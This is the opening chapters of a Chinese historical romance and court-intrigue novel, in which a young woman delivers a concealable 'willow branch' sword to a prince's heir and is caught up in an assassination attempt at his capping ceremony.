《春雨歇》
1. 取剑
宝历五年，春三月。
自惊蛰起，时雨纷纷，直至清明，雨一直没有停过。
楚檀撑着青绢伞穿过小巷，迎面来的风带着些冷意。
好在出门前，侍女小寇硬给她塞了一件披风。
“姑娘，你如今风寒未好，要不还是我去吧。”
“不必了，兄长托我的事我是一定要亲自去的。”
楚檀今日是要缘诏寺取一物，那是兄长楚遇要送给远乐世子的礼物。
明日便要送去远乐王府。
小寇比她要矮半个头，在替她系披风时还要垫脚，脸上的担忧显而易见。
“这缘诏寺虽离咱们不远，可到底要是爬上山的。”
“不必担心，我又不是没去过。”楚檀拍拍侍女的手示意她放心，
“现下爹爹和兄长都出城办事，家里的事没人照应，你留下多少还能做些事。”
清明那日，楚家刚祭奠完楚檀母亲，楚遇接到线报急急出了城，除了再三嘱咐楚檀要照顾好自己外，就是托她在今日去缘诏寺取物件。
第二日，楚父也有差事要出城。
也不知为何，今年春天爹爹和兄长都格外忙。
巷子悠长，雨水滴答，花香似有若无，楚檀接过从伞边滑落下来的雨滴，有些凉。
等她好不容易爬上缘诏寺，背后已湿，分不清是汗水还是雨水所致。
她的呼吸有些急促，实在想不明白。
为何取一贺礼要到寺庙来？
还是求姻缘的寺庙！？
缘诏寺是一座香火极好的姻缘庙。
据说我朝先皇与太后就是在此相识，之后奉旨结发为夫妻。
都说帝王风流，皇家无情，可这对帝后如平常夫妻般恩爱，情深似海，世间少有。
这也是缘诏寺香火旺盛，来求姻缘的人络绎不绝的缘由。
透过那红漆门，楚檀看到院内茂密的松树屹立在假山奇石中，她今日所取之物就在松树下。
缘诏寺不大，种有松树的地方却不少。
楚檀寻遍，却不见任何踪迹。
楚檀累极，爬上山来本已经消耗她不少力气，又寻觅接近半个时辰，她满头大汗，两腿跟绑了大石头似的，沉重得有些迈不开步子。
要不是在大庭广众之下，楚檀真想蹲下来歇歇。
莫不是错了？
楚檀正怀疑自己是不是来错地方时，忽地灵光一现，记起一处。
哪儿还有供人歇息的石凳。
她手虚虚搭在石梯边的木栏，拖着腿往上走，喘气间还不忘安慰自己，“就算找不到，歇歇也是好的。”
未到半路，刚停一会的雨又卷席而来，这次更甚，大雨如注，倾泻而下。
楚檀着急忙慌的撑开伞。
“怎么又下起雨来了。”
“待会又该淋湿了。”
“又是这般大的雨，就没个消停。”
倾盆而下的大雨让行人措手不及，周围人群一片慌乱。
人群里，唯有一个打扮利落的年轻人不管不顾走进寺庙深处。
那是供贵客休息的住所。
即使香火旺的寺庙，休息处也只有简单的木桌竹凳。
屋内坐着一位身穿正青色长袍的公子，年纪不大，看起来才及弱冠。
他正悠闲地喝着茶，微弱的光亮把竹影映在脸上，看起来格外雅致。
只见年轻人快步跑到他面前，行礼后说道：“世子，在山崖下抓到人了。”
他口中的世子正是当今屹国的临阳世子，叶温凛。
叶温凛悠悠放下茶杯，起身往外走。
人来了就好。
“荣姨，替我向祖母赔个不是，说我有要事在身，先行一步。”
“是。”
“青玉，你留在此处，继续找人。”
“是。”
下山途中，叶温凛手里还揉搓着那道密令。
“柳家柳宗明日恐现身缘诏寺。”
在昨夜接到太子密令之前，叶温凛还从未收到过柳家人上京的消息。
柳家，屹国的柳姓人家何其多，能让太子深夜派人前来的，也就只有以兵器世家著称的柳家。
这户人家子嗣不多，却个个精于兵器打造，其中年轻一辈的柳宗更是其中翘楚。
据说三十年前，柳家还隶属兵部，掌管兵器之事。
后有柳家人死于朝廷某高官之手，此后柳家家主决意要与朝廷恩断义绝，老死不相往来，其所造兵器也陆陆续续被销毁。
可悲的是屹国重文轻武，京城想当官的人更是络绎不绝，朝中对此等奇才的流失并不在意。
即使外族人对其虎视眈眈，十多年来从未放弃寻找柳宗。
太子以为柳家人的出现并非偶然，柳家销声匿迹多年，今日却突然现身于缘诏寺。
其中必有蹊跷。
叶温凛还没来得及走远，就因眼前景色停了下来。
只见寺庙的水雾缭绕，宛如轻盈的纱，让远处的山失了棱角。
像一幅水墨画。
画中女子一手撑着青绢伞，一手提着衣裙，双眼的期盼满得要溢出来。
笑容满面的样子让人瞧着颇为愉悦。
楚檀开始时还小心避着水坑，可惜雨大无处逃，也就索性不管不顾了。
好在马上到了。
只需过了那道月洞门。
月洞门背后草木葱葱，石堆也让雨水打磨得光滑，左上头挂着刚冒出来树梢。
右下站着位男子。
如同画里走出来的贵公子。
对方行至五六步开外，浅笑着朝她一点头。
楚檀回礼时忍不住在心里感叹，真是温润有礼，清雅矜贵。
话本里的世家公子就是这般模样吧。
楚檀不爱出门，见过的男子不多，更别说是这般俊俏的男子。
回去之后定可以和小寇吹嘘一番。
不过很快，楚檀就把俊俏的公子抛在脑后了。
她穿过洞门，走进左侧小院，待瞧见树旁石墩桌上放着的长木盒，顿时眉开眼笑。
“果然在这。”
木盒上还有一小石子压着一张纸条。
“留下信物，便可取走。”
楚檀微感震惊，把纸张翻过来又来看了一遍。
反面什么字都没有。
“真是奇怪。”
虽感困惑，她最终还是依言将信物放入盒中，然后小心取出物件抱在怀里。
往回走还歪头喃喃自语，“大师都是这般古怪吗？连面都见不着。”
叶温凛也没见到柳宗。
待他下山，人脸尚未看清，倒是迎面来了一记飞镖。
飞镖快如疾风，凝结成一点，闪着白光刺向他。
“世子！”
“世子小心！”
刚刚还被绑着的黑衣人此刻已跳上树枝，头也不回往林中奔去。
徒留下一道沙哑的声音，“临阳世子，后会有期。”
叶温凛神色平静，一伸手便接住了。
飞镖发出铮铮响声，两端还在晃动。
“快追。”说话之人与山上的青玉眉宇间有些相似，但棱角更为分明。
“不必。”叶温凛没想着把人追回来，“此人轻功不俗，你追不上。”
他瞥了眼柳宗逃跑的方向，开始打量起指尖飞镖。
飞镖本就小，而这比寻常所见的，更为轻巧，通体薄如蝉翼，看起来一捏就碎。
尾处印着代表柳家的标记。
神似柳树，寓意柳家。
青鹰见叶温凛不欲追，便折回来请罪，“属下无能，让他在眼皮底下跑了。”
“既然有意隐藏，你察觉不到也是正常。”
叶温凛说着便将飞镖往不远处的大树甩去，只听“咻”的一声，飞镖竟然直直插入树干之中。
只用了一成力，就能没入七八分。
“青鹰，把这飞镖取出来送往府上。”叶温凛背着手吩咐道：“再将那人画下来，送去东宫。”
“是。”
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日暮，炊烟袅袅。
楚檀下山归家，早已饥肠辘辘。
但这些她都顾不上，连忙叫来小寇帮忙揉腿，她现在累得直不起腰了。
“小寇小寇，快来帮我揉揉。”楚檀一边捶腿一边抱怨：“今日可累坏我了，我都好久没走这么久的路了。”
“姑娘你成日不出门当然累了。”
小寇先是给楚檀倒了一杯茶，然后蹲坐在楚檀身旁帮她捏腿。
“姑娘可拿到东西了?”
“拿是拿到了，不过那人只把东西放在石桌上，未曾现身。”
“居然这样？”小寇不解。
“对啊。”楚檀靠近小寇说，“难道此人见不得光？”
“不会吧，那公子，知道吗？”
“......”她也不知道。
“罢了，想不通，待兄长归家之后我再问他。”
楚檀想不出所以然，也不欲纠结。
一口喝完剩余的茶，楚檀神神秘秘地把东西拿出来，两眼放光地说道：“小寇，你看。”
见到盒子里散发出粼粼波光小寇同楚檀一样，两眼放光。
“天哪，这得值多少银钱。”
“不知道，兄长肯定花了不少。”
“公子好有钱。”
“我也出了一份。”
“姑娘也有钱。”
......
两个姑娘对那肉眼可见的精致给足了面子，连连夸赞。
说话间，小寇突然又问起楚檀来，“姑娘，明天当真带我去？”
“我骗你作甚，你都问了好几次了。”
“姑娘你真好。”小寇捏腿是越发卖力了，“听说远乐世子相貌俊美，是个难得一见的美男子，明日咱们就可见到了。”
“好啦。”楚檀瞧着小寇一脸雀跃也跟着开心，捶锤肩，让她去厨房，“将晚膳端来我屋里，我实在不想走动了。”
“我马上就去。”
不过自是有人欢喜有人愁，青鹰在山上搜了半天，连个可疑的人都没见。
“世子，山上无异常，我们的人什么都没有发现。”
青鹰敲了敲叶温凛书房的门，走进屋内，向叶温凛禀告。
“无妨。”叶温凛摆摆手，目光还在案卷上，对青鹰的话也没多大意外。
怕是柳宗早有准备，他下山时，其目的就已达到。
叶温凛细细拢起书卷，捏了捏眉头，有些头疼。
这书卷上面记载皆是柳家所造兵器，许多是闻所未闻见所未见。
今日留下的飞镖，乃是柳家柳叶镖，柳家兵器中微不足道的一种。
它确实精巧锋利，比兵部铸造得要上乘些，但以屹国现在的实力也并非造不出。
只是会耗费些时间精力。
可不过连普通镖局都能买到的防身之物，兵部何须费心思加以精进。
要是这点也无需担心。
真正让他头疼的是柳家所掌握的手艺。
按书上所说，这些小物件，利用一些工艺，他们一人一日便能打造成千上万个来。
要柳家人真被外族掳去，替他们造了兵器，怕是后患无穷。
“世子，夜已深，该歇息了，”荣姨在门外见书房灯火通明，有些担忧，“明日一早还要去远乐王府。”
“好，我这就歇息了，荣姨也先下去吧。”
荣姨听到回应后，叹了叹气，回去了。
心里是不相信叶温凛这就歇下的。
“如此拼命，迟早会累坏身子。”
雨滴碰到地面发出声音，似乎在替荣姨抱怨。
难得一夜好眠。
楚檀昨日走了许久，腿虽酸痛，头却轻了许多。
出门也是神采奕奕，不复以往病恹恹的模样。
只是令人不可思议的是，王府门前并没有想象中车马盈门的场面。
与方才穿过闹市相比，这空荡荡的街道还叫人有些不适。
她当真要进这王府吗？
楚檀有些犹豫。
2. 冠礼
站在街巷角落的楚檀一时拿不定主意。
半月前，远乐王府派人送来请帖邀楚遇前去观礼，周围邻居都道楚遇走了大运，结识了远乐王府的世子，前途不可限量。
她也很高兴，这还是兄长头一次受邀去参观冠礼。
爹爹倒是一如既往，表情淡淡，只让兄长多拿了些银子去添置行头。
不过爹爹从不偏心，既然兄长有，那自然少不了她的。
甚至因着女儿家的衣裙本就比男子繁杂，这多数银钱是花在她身上的。
兄长难得交到一个朋友，又是救命恩人，这次还顺带给自己置办了一身衣裳。
楚檀本是很乐意走这趟。
虽未见过这世子，但京城里谁不知这位的名声。
为何冠礼这么大的事，王府门前如此清冷？
楚檀皱着眉，望着寥寥几人的街道，心里升起一丝不安。
就在她犹豫不决时，王府门前传来一道严厉的斥责声，
“走走走，都说了兵器不能带进。”
一群侍卫将一中年男子毫不客气地往外推。
“这只是用来赏玩的，并不伤人。”那人身旁地上散落着一些珠宝，他神色焦急，想去捡，又没捡。
“军爷，行行好，这当真是用来观赏的。”
“不管什么兵器都不能带进去，”为首之人冷着脸，眼里全是不耐烦，“世子冠礼，容不得一丝威胁。”
“留你一命已是大恩，还不快走。”
中年男子看着他拔剑的动作，吓得哆哆嗦嗦地捡起地上宝物。
“我这就走，这就走。”
楚檀壮起胆子又往前瞧了瞧，想看看是什么兵器不能带。
是把匕首。
女子巴掌大的匕首，上面镶嵌着各色宝石，极为夺目。
这也不行？
甫一走近，楚檀就看到这番景象。
若说刚刚只是心有不安，那眼下，更多的是害怕与恐惧。
那守卫俨然是禁卫军，屹国的禁卫军本是负责保护京城安危，明面上由圣上掌管，忠于天子，可实权都在太后手上。
难道远乐王跟太后不对付？
此时此景，楚檀哪里还敢进王府。
她抓紧了怀里的木匣子，带上小寇转身回头。
“我们走。”
步子不敢有一丝犹豫，生怕走慢了让禁卫军见着木匣的东西。
这可是货真价实的兵器。
回到家中的楚檀面上一片慌乱，她不知该如何是好。
爹爹和兄长都不在家，也没个做主的人。
这礼是送还是不送?
不怪楚檀胆小，她实在怕王府出了事。
她这一去，要是给家中带来什么麻烦，那她怎么面对爹爹。
她在小院急的团团转，一把攥住幽兰草，嘴里不停地念叨着。
“怎么办？”
“要不要去？”
楚檀在去与不去中徘徊不定。
当今皇族世家甚是高傲，京城里有名有姓的世家是看不起他们这种官职低微的人家，更何况兄长如今只是个无足轻重的小捕快。
可这位不仅没有半分看不起，甚至还常常一起切磋武艺，这一点让她至今都觉稀奇。
兄长一向沉默寡言，除了公务上的同伴，几乎没有别的朋友。
可是禁卫军的出现，让她犹豫了，她不通消息，不知发生什么，实在难以选择。
小寇不知所措地站在门柱旁，瞧着她家姑娘将草都被扭的一团。
她也跟着心急，不知姑娘作何的决定。
半响，楚檀闭着眼叹了叹气，颇有些听天由命的意味，“算了，还是去吧。”
不去观礼，怎么见到远乐世子。
抖掉手里的凌乱的草叶，转身回到自己小院。
这院中景色不似王府别处，没有花草，只单棵柿子树。
树下站着一个身着窃蓝长袍的男子，正在等人。
“温凛。”
从房门走出另一男子，此人面容俊美，衣裳也甚是华丽。
正是远乐世子祝辛楼。
“辛楼。”叶温凛脸上是一贯温和的笑容。
“就知道今日你会来。”祝辛楼大步流星迈向叶温凛，一把勾住他的肩，“够义气！”
“冠礼这么大的事，怎能不来？”叶温凛语气平平，回答得理所当然。
“你知道的，昨日太后因春闱一事与我父亲大发雷霆，都闹到皇上那去了。”
太后前脚与皇上吵完，后脚就派禁卫军前来把守。
三更半夜，一声不吭派人守在王府外，这可不是什么好事。
“就本世子请的那些朋友，怕是忌惮太后势力，不敢前来。”
“世人大多趋利避害，你也不必在意。”叶温凛嫌沉，拍掉祝辛楼的手。
“也不是在意。”祝辛楼语气悠悠，“就是今日宾客必定极少，无趣啊。”
“人少又如何，”叶温凛听这话觉得有些好笑。“冠礼不是儿戏，非要人多才好玩。”
俩人在去宗庙的路上一脸悠闲，一个是骨子透出来的沉稳从容，一个是不把冠礼当回事。
反倒是身后的小厮急得不行，想催不敢催。
“听说你昨日追查到半夜，今日又这么早过来，辛苦你了。”
“你消息倒是灵通。”
叶温凛有些意外，祝辛楼从前可不会说这些个客套话。
“不过你也无需跟我客气，这本就是我分内之事。”
他母亲与祝王妃为同族姐妹，身为表兄，前来观礼才是应该的。
“没跟你客气，你是不是有柳家柳宗的消息？”
“那柳宗用何种武器？”
“是不是如传说那般精巧绝伦，闻所未闻，见所未见？”
叶温凛：“......”
他就知道。
祝辛楼作为祝王爷唯一的血脉，一生从未受过约束，怕是现今重文轻武，祝王爷也由着他不读诗书古籍，只爱武艺。
“昨日没见到人，更别说武器了。”
“你明明拿到枚飞镖。”
“那不算......”
还不到闻所未闻见所未见的程度。
“只要是柳家的兵器，本世子都想看看。”
“我之后派人送来。”
“不用，等冠礼结束，去你临阳王府瞧瞧。”
叶温凛：“.......”
终于，两人在说话间就到了王府宗祠。
屹国的男子年满二十会择吉日行及冠礼，代表成年。
冠礼大多都在自家宗祠举行，由父亲主持，宴请各路亲朋好友前来冠礼。
站在宗祠门前迎宾的祝辛楼百般无聊，想拉叶温凛回去。
“我看我们早不必站在这，早早开始还能早些结束，何必等到吉时，我爹何时这般古板了?”
“礼不可废。”一旁陪同的叶温凛往外躲开，劝他，“冠礼乃人生大事，不可随意。”
“你且耐心点。”
“是是是，”祝辛楼知道说不过他，白了一眼，“礼不可废。”
这成日里与那些老儒生待在一起的人，就是死板！
祝辛楼还琢磨要等到何时才结束时，就听到叶温凛接着说，
“这不是还有客人来了。”
叶温凛瞧着侍女请进来的女子似乎有些面熟。
来人容貌并不出众，打扮亦是寻常，但胜在干净舒服。
一张脸上虽端着笑意，但嘴角僵硬，眸底还能见到些慌张。
楚檀返回王府的路上，无时无刻不在担忧害怕。她拿了些铜板放在小寇手中，
“小寇，我总觉着王府有异，你府外等我，不要跑太远。”
小姑娘拿着铜钱点点头，觉得姑娘说的对。
楚檀是拿着青梅酒才躲过禁卫军的盘问。
她把请帖拿给王府侍卫时还有些不好意思，这一来一回，耽搁了不少时辰，不过好在没错过吉时。
这是她第一次来如此阔绰的府邸。
王府内长廊迂回，曲折通幽，今日虽依旧下着小雨，行动也无不便。
楚檀跟随侍女弯弯绕绕走了许久，才见到写有“祝氏宗祠”的匾额。
该是她多虑了，方才从窗户瞟见宗庙里宾客如云，来往遇见的侍女小厮也不见慌乱，瞧着倒不像是有事的样子。
侍女把她带到宗庙门口停下，遂恭恭敬敬道：“姑娘，请。”
楚檀到了声谢，就对上祝辛楼疑问的眼神。
“姑娘是？”
祝辛楼小心问道，虽觉面生，但也没有明目张胆地打量。
坏了坏了，
他连人家是谁都忘记了。
楚檀刚要开口，祝辛楼脑里闪过一张脸来，惊喜道：“你是楚遇兄的妹妹吧。”
楚遇？
叶温凛挑眉，祝辛楼向他提过几次，说是为人沉默，身手却极好，多次
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想让青鹰与之一决高下。
“是。”楚檀接过话，向祝辛楼颔首，“小女子楚檀见过远乐世子。
今日一见，祝世子确实俊美无双，不过他身旁的公子相貌也是一等一的好。
是昨日在缘诏寺见到的那位。
“楚檀妹妹不必多礼。”
又见楚檀看了眼叶温凛，祝辛楼便给楚檀介绍：
“这位是临阳王府的世子，叶温凛。”
“楚檀见过临阳世子。”
楚檀在心里直叹原来如此，临阳世子可是出了名的大雅君子。
京城中有名的公子她今天就见到了两位，难得难得。
“楚檀今日是替兄长来庆祝世子冠礼，他几日前有公事离京，托我今日务必前来，还请世子见谅。”
“无妨无妨，公事要紧。”
祝辛楼哪会在意这些。
“只是方才在路上耽搁了，迟迟才到，是楚檀失礼了。”
“楚檀妹妹能来，已经是给了莫大面子。”
见楚檀还想开口说话，祝辛楼抢在她前头开口说道:“楚檀妹妹不必在乎这些礼节。”
他最怕那些个繁文缛节了。
“我......”楚檀想跟他说礼物的事。
“楚檀妹妹，没事，你不必多礼。”
“不是，我想说......”
“人来了就好。”祝辛楼继续拒绝。
叶温凛在旁看着不下去，“你让楚姑娘把话说完。”
祝辛楼：“......”
楚檀感激地看一眼叶温凛，怕祝辛楼像方才一般，于是赶紧开口，
“兄长本有其他礼物要赠与世子，但今日......不知世子礼成后方便否。”
私下赠送，不被人发现，应当无碍吧？
“方便，当然方便，楚兄真是费心了。”祝辛楼说着抬起手想挠头，又觉不妥，有些尴尬的停在空中。
“世子，吉时快到了，王爷让你过去。”
“知道了。”
“那楚檀妹妹，先请入座，结束之后我来找你。”
“好。”
楚檀落座时，远乐王府的人都觉惊奇，在这个节骨眼上，除了叶温凛，还有不怕死的人前来，居然还是位女子。
周围人的眼光让楚檀如坐针毡，她只能在心里期望冠礼快些结束。
冠礼按照流程徐徐展开，和兄长相比，远乐世子的冠礼规格不知繁杂了多少。
远乐王致辞，加冠三次，赐表字，着公服。
待礼成后，祝王爷带着祝世子开始向宾客敬酒拜礼。
祝辛楼自觉处理完了一件大事，正打算去找楚檀。
“终于结束了，累死本世子了。”
不过没想到叶温凛会跟上来。
“你来干嘛？”
“有些好奇是什么礼物这么大费周章。”
祝辛楼原本没多好奇，今日不能带进来的也就是兵器而已，之所以应下，是觉得朋友一番心意不可辜负。
但叶温凛感兴趣的东西可不多。
“难得你有兴趣，那就一起去瞧瞧。”
“楚檀妹妹。”祝辛楼这才刚打完招呼，就被察觉不对的叶温凛拉住了。
他也感觉了，之后环顾四周，整个人变得兴奋，“来了一批不速之客啊。”
宗庙周围悄无声息的涌出一批黑衣人，这群人来势汹汹，目标明确，剑指祝辛楼。
下手毫不留情。
祝辛楼周围人的处境一下变得十分危险。
冠礼虽结束，但喧嚣未过，刚才还一片喜气祥和的宗庙瞬间陷入混乱，在场的人抱着头东逃西窜，高喊救命。
“保护王爷！”
“保护世子！”
楚檀亲眼看着不远处的祝辛楼一手抓一人脖颈，一手疯狂砸脸。
楚檀顿时觉得眼珠子疼，身上的血直往上冲，像是要从五官流出。
似乎鼻腔都是血的气息。
楚檀身体都僵在那里，动也动不了。
“得罪了。”叶温凛的嗓音清润平淡，在一片吵闹中很难听清。
楚檀还未反应过来，人就已经换了一个位置。
叶温凛揽住楚檀的腰，迅速将她转移到柱子后，带着她蹲下，遂放手。
“姑娘待在此处不要出来。”他说完便要起身。
不知怎么，楚檀竟然能在紧急关头拉住了叶温凛，递给他一把剑。
“世子，给。”
3. 闹剧
楚檀也跟着起身，一手拉住叶温凛，一手把要送给祝辛楼的剑拿出来。
“世子，给。”
叶温凛有一瞬的愣怔，只是一转头的功夫，楚檀手里就凭空出现一把剑来。
“多谢。”
他压下心里诸多疑问，去接女子手中的剑，却刚好瞥见有人正朝祝辛楼后背砍去。
叶温凛的衣袖扬起一阵风，拂过楚檀侧边青丝，他去接剑的手改道拔下她发髻上的银簪。
一挥手，
一簪刺入要害。
楚檀不由地顺着传来的惨叫声看过去，偏巧对上那猩红的双目。
黑衣人捂着后颈慢吞吞地转过来，目光像淬了毒的刀子。
楚檀吓得狠狠一抖，脸色迅速发白，手里的剑脱手落地。
“别怕，”叶温凛挡到她眼前，扶着她的肩重新蹲了下来，“他们是冲辛楼来的。”
她望着他，慌乱地点点头。
叶温凛将楚檀安置好后，执剑加入打斗中。
“你怎么回来了，本世子一人就行，”祝辛楼一脚踹开往他小腿方向刺的剑，“方才冠礼束手束脚，可憋屈了。”
这群人来得刚刚好，他正想找人打一架。
“别说话，速战速决。”叶温凛不喜血腥，不想在这浪费时间。
“为何？”青年声音爽朗，明显有些不情愿。
叶温凛现有利器在手，以一敌十不在话下，一剑又一剑，动作行云流水，敌人根本来不及躲藏。
祝辛楼就那么眼睁睁地看着叶温凛把他用来练手的黑衣人杀个片甲不留。
祝辛楼：“......”
算了。
后有王府侍卫赶来，这场交锋也就结束了。
这群黑衣人来得快，走得也快，前后不过一炷香时间。
要不是宗庙一片狼藉，地上墙面溅着血迹，时间短得许会被认为是场闹剧。
“你这剑不错，从何得来？”祝辛楼丢掉从敌人手里抢来的刀，抹了一把脸上的血迹，十分兴奋的向叶温凛这边走来。
叶温凛没接话，而是转身走向了楚檀，将她拉起来，安慰道：“没事了。”
重新蹲回石柱角落的楚檀双手捂着耳朵，脸额头低着膝盖，忍不住瑟瑟发抖，她根本就不敢抬头看。
听见叶温凛的声音，楚檀才放下心来。
此时，禁卫军慢悠悠从长廊赶来。
叶温凛看一眼祝辛楼，摇摇头，暗示他不要说话，然后快速将剑在祝辛楼身上擦了擦。
祝辛楼：“……”
递给楚檀时也不忘将剑柄擦干净，“劳烦姑娘再收起来。”
“好。”
楚檀不知道为什么叶温凛要她这么做，但还是哆哆嗦嗦地把剑收回腰间。
下一刻，她觉得有些呼吸不过来。
这剑隔着衣物没有紧紧勒着，但它刚刚沾了人血啊！
叶温凛接着把祝辛楼往前推，让他去应付那些人。
“你去你去。”祝辛楼眼看叶温凛就要把他推出去，他就烦得不行。
这么多年来，叶温凛有时还是不能习惯祝辛楼的没规没矩。
他端起笑容，拒绝，“你的家事，我不便插手。”
祝辛楼听着那禁卫军军服上甲片碰撞的声音就觉烦闷。
“远乐世子，这是发生何事了？”为首的禁卫军到了门口才小跑过来，“下官方才似乎听到打斗声了。”
“无事，只不过来了兴致，找了些人切磋切磋。”
祝辛楼顶着一脸血睁眼说瞎话，他现在一门心思都在那剑上，根本不想和这群人虚与委蛇。
很是不耐烦道：“大人要是没什么事的话就请回吧。”
“送客送客。”
林通本就是来走个过场，维持脸面罢了，不想对方更是敷衍。
倒是叫他不知道怎么办了。
“不得无礼。”
不等祝辛楼动手赶人，祝王爷就出来救场了。
“你这样子怎么见人，先去把这衣服换了。”远乐王见不得血，面上很是嫌弃。
有了祝王爷出面，祝辛楼倒是乐得自在，什么事都不管，换了衣裳就去找楚檀。
等他回来时就听到叶温凛问，“昨日楚姑娘去缘诏寺可是为此剑？”
楚檀心不在焉地点点头。
人还没缓过神。
“缘诏寺？你们昨日见过？”祝辛楼凑过去问。
楚檀继续点头。
“昨日有过一面之缘。”
祝辛楼没问太多，他现在只想知道一件事，“那剑到底怎么回事？”
怎么凭空出来一把利剑。
“是楚姑娘的剑。”
“这原本是兄长想要赠与世子的礼物。”
提到柳枝剑，楚檀有事可做，她走向祝辛楼，将剑放于双手上，郑重地递给他。
“给我的？”祝辛楼瞪大眼睛，手指向自己，欢快地接过剑，甚是愉快地问，“这剑叫什么名字？”
“可是柳枝剑？”叶温凛神色不明地盯着那剑。
“临阳世子知道？”楚檀偏头看向叶温凛。
兄长不是说这把剑从未在世人面前现世过吗？
“知道。”
不仅知道，昨日他才在书卷中见过。
“是，这把剑叫柳枝剑，且剑如其名，可以缠于腰间，格外轻巧。”
“藏于腰间？竟能这样！”祝辛楼端着剑细细观赏，似乎找不到其中玄妙。
于是又把剑递给楚檀，想要楚檀展示，“如何做到的？”
“我......”
还要再来一次吗？
“楚姑娘你来说就行。”叶温凛看出楚檀的抗拒，将祝辛楼的手推了回去。
听到这话楚檀松了口气，她按照信封上的内容，详细地复述了一遍的。
祝辛楼照着楚檀的话一试，果然成了。
刚刚还锐利无比的剑此刻如若一条腰带，安安静静缠在在祝辛楼腰间。
没有兵器的冷光，只有布匹的光泽，又有谁能想到那是一把剑？
祝辛楼还是头一次见这样的，惊喜不已，双手停在半空中，低着头左看右看，说话更是不过脑子。
“楚檀妹妹，这么好的剑，你应该早拿出来啊。”
“禁卫军在外守着呢。”
“啊，也对，本世子给忘了。”
可祝辛楼还是懊悔，眼睛就不曾离开柳枝剑，“明明是送本世子我的剑，第一次杀敌居然被你用了。”
仿佛好剑被糟蹋一般。
“是我不好，当时心急，没注意到这些。”楚檀不想祝辛楼误会，赶紧同他解释。
叶温凛敲了敲祝辛楼，笑得毫不在意，“不必理他，要不是楚姑娘机敏，那群人不会这么快被赶走，这事也没那么容易摆平。”
“楚檀妹妹机敏。”祝辛楼重复叶温凛夸人的话。
“世子谬赞了。”楚檀自知是担不起这夸奖，“还未多谢世子方才救命之恩。”
“楚姑娘客气了，你刚刚已经道过谢了。”叶温凛伸手托住楚檀的手臂扶她起来。
在祝辛楼还没来时，楚檀就不停地向他道谢，明明被吓得不轻，神色恍惚，但又格外记得礼节。
“你不必谢他，那群人就是冲本世子来的，说起来还是我连累了你。”
祝辛楼心里有愧，对于楚檀来说这就是一场无妄之灾。
人家姑娘家不避强权，前来贺礼，反而还要受他牵连。
“楚檀妹妹，实在是对不住了。”
“没有的事。”面对祝辛楼的道歉，楚檀连连摆手，她就是被吓到了，也没旁的什么事，“世子言重了。”
“好了，你这次倒是有礼了，”叶温凛出来打圆场，“楚姑娘，对于这把柳枝剑，在下还有些疑惑，不知
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姑娘能否解答。”
“世子请说。”楚檀当然可以，“只不过我知道的并不多。”
叶温凛轻轻一摇头，“姑娘知道多少说多少即可。”
“姑娘可知打造那柳枝剑是何人？是否见过？”
“不知，也不曾见过。”
楚檀摇摇头，有些遗憾。
“未见过？”
倒是在意料之中。
叶温凛还没多问几句，就有下人来报，说临阳王府出事，急需世子回府。
叶温凛无法，“青鹰青玉，以防万一，你们待会送楚姑娘回去。”
“世子客气了，我的侍女就在外等着我。”
“还是要的，有他们在总归安稳些。”
叶温凛看了眼青玉，青鹰青玉抱拳上前，“楚姑娘”
“楚檀妹妹你就放心跟他俩回去吧，有他们在，本世子也放心。”
练剑的祝辛楼终于抽出空来说句话。
“你也别待着这里了，去管管你府上的人，”叶温凛很不放心祝辛楼，叮嘱道：“此事不能传出去，尤其是楚姑娘带剑进来的事。”
说完就走了，留下楚檀和祝辛楼大眼瞪小眼。
等人走远了，楚檀才想起，“多谢临阳世子。”
“那远乐世子，如果没什么事的话，楚檀就先回去了。”
“好。”祝辛楼做了个请的手势，“等楚兄回来，本世子一定要好好谢谢他。”
回到家的楚檀整个人终于控制不住，一关门就跌倒在地。
“姑娘，你这是怎么了。”小寇吓得赶紧去扶她。
“小寇别慌，我无事。”楚檀借着小寇的手站了起来，安慰她道：“只是今日吃得太少，饿过头罢了。”
她平日里不怎么打扮，手艺生疏的很，今早忙活了半响才出门，就没来得及用早膳。
在王府有太拘谨，也没有心思吃东西。
就这么饿了一天。
刚刚在外还能维持体面，一进家门就原形毕露了。
“幸亏我买了些桂花糕。”小寇赶紧把怀里的桂花糕拿出来。
“姑娘，你快吃。”她特意留给她家姑娘的，本来想在回家路上吃，没想到姑娘和两位不认识的人出来了，也就作罢了。
“多谢小寇，你真好。”楚檀只拿了一半，“你也吃。”
小寇没要，十分懊悔，“早知道我刚刚就拿出来了。”
桂花糕就只有两块，不好分。
“姑娘，他们是谁啊？看上去不像是普通人。”
楚檀长叹一口气，表情怅然，“此事说来话长，我慢慢跟你说。”
厨房里。
楚檀小寇合力烧水。
楚檀慢慢述说着今日发生的事，小寇撑着脸在一旁一惊一乍的。
“幸亏姑娘没受伤，不过那群人后来怎么样了？”
“我也不知。”她当时什么都没注意，想来是祝王爷处理的吧。
“王府里怎么这么危险啊。”小寇想不通。
“是啊，在这些达官贵族家中可要小心些。”楚檀想起什么，语气变得有些轻。
“好了好了，水开了，”小寇仰头看着楚檀，催促着她，“姑娘去洗漱吧。”
楚檀看着小寇，突然低声笑起来，“好。”
好在有小寇在。
她等不及要沐浴，就想洗掉身上那若有若无的血腥味。
等她舒舒服服坐在木桶里，才觉得如释重负，热水浸泡着身子，缓解了这一日的疲惫与紧张。
才享受不到片刻，楚檀似乎听到房梁上有声响。
她猛地睁开眼，双手一下捂住身子，一脸惊恐地往上看。
房梁空荡荡的。
什么也没有。
她叹叹气，唾弃自己犹如那惊弓之鸟。
一点风吹草动就令自己惊慌失措。
如今可是在家中，能有何事？
4. 信笺
“人出现了？”叶温凛还在书案上处理事，听见脚步声也没抬头。
在远乐王府没来得及询问，就让青鹰青玉跟回去了。
“如世子所料，那柳宗果然现身了，只是，”青鹰低下头，“只是属下无能，还是让人跑了。”
“他居然能从你们手下逃脱？”叶温凛只是颇为惊讶地挑眉，依旧没看来人。
青玉轻功卓越，青鹰力能扛鼎。
上次是轻敌大意让人跑了就算了。
“看来是我小瞧了他。”待他写完抬头，看到青鹰的脸，眉心微皱，“不过你这脸？”
青鹰神情又怒又凶，手还不停地扫着脸，像是要擦掉什么东西。
左边脸红了一块。
他狠狠擦了擦脸，憋屈地同叶温凛说：
“我和青玉送楚姑娘回家后，就一直守在楚家附近，等到日暮时分，见有一人跳上楚家屋顶，我便跟了上去，却不想那柳宗，简直无耻！”
青鹰停下，语气越发气愤，“他就是登徒子，不仅偷看楚姑娘沐浴，他打不过我，他还摸我！”
叶温凛听闻，一向温和平静的脸出现些许裂痕。
不得了。
难怪此次回来的是他。
以往一向是青玉回来汇报，青鹰留下蹲守。
